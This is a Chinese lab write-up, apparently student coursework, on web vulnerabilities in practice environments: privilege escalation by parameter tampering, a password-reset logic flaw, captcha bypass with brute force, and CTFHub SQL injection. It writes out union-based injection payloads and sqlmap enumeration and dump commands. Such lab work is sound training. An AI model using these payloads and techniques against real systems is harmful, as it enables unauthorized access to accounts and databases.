1、水平越权&垂直越权漏洞实验
-
水平越权
-
lucy用户登入成功后,将url的username参数由lucy改为kobe,即可查看到kobe的信息,实现水平越权
-
-
垂直越权
-
使用低权限用户pikachu访问添加用户页面,行使管理员admin用户的添加用户权限
-
用户添加成功,实现垂直越权
-
2、密码修改逻辑漏洞实验
漏洞环境:docker run -d -p 8082:80 -p 33060:3306 area39/webug
-
查看后端数据库信息,先登入普通用户aaaaa账号
-
前端修改密码,发现未对旧密码进行校验,密码可以直接进行修改
-
尝试抓包,观察id参数可以修改,推测管理员的id可能是1,修改后查看返回数据包发现修改成功
-
来到后端,成功实现低权限用户对管理员admin密码的修改
use webug; select * from user_test;
3、验证码安全
(1)验证码绕过(on client)+ 验证码绕过(on server)
-
on client
-
由于验证码校验在前端,利用burp抓包可以绕过前端验证,实现密码爆破
-
admin用户的密码为123456
-
-
on server
-
用burp抓包,多次进行密码修改提交,发现返回包始终提示“username or password is not exists”,证明验证码可以重复使用
-
密码爆破,爆破出admin/123456
-
(2)验证码绕过(on server)实验中,为什么burp拦截开启的状态下,通过Repeater进行重放不会刷新验证码,关闭拦截后才会刷新验证码?
因为存在两个请求数据包,第一个数据包是用来校验用户输入的验证码是否正确,第二个数据包是用来更新验证码。
而开启burp拦截后,便一直处在第一个数据包中,所以并不会刷新验证码,关闭拦截后随着第一个请求数据包放过,第二请求数据包也接着放过,从而实现刷新验证码的操作。
4、CTFhub:SQL注入靶场,分别完成手工注入和Sqlmap工具注入的过程
-
手工注入
-
判断显示位
1’ order by 2#
超过2后不回显,,确定sql查询有两列 -
确定显示位置,1和2均可显示
-
查询数据库名,
1' union all select 1,database()#
——sqli -
查询sqli数据库的所有表名,
-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
——发现flag表 -
查询flag表的所以字段名,
-1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
——flag -
查询sqli数据库中flag表里的flag字段具体信息
-1' union all select 1,flag from sqli.flag#
——ctfhub
-
-
sqlmap工具注入
-
burp抓取CTFHub的sql整数型请求数据包,将内容写在sqlmap目录下,使用-r参数进行注入
-
获取库名
python sqlmap.py -r 1.txt --batch --dbs
-
获取sqli数据库的表名
python sqlmap.py -r 1.txt --batch --dbs -D sqli --tables
-
获取flag表的字段名
python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag --columns
-
获取flag字段的具体数据
python sqlmap.py -r 1.txt --batch --dbs -D sqli -T flag -C flag --dump
-
成功得到flag:ctfhub
-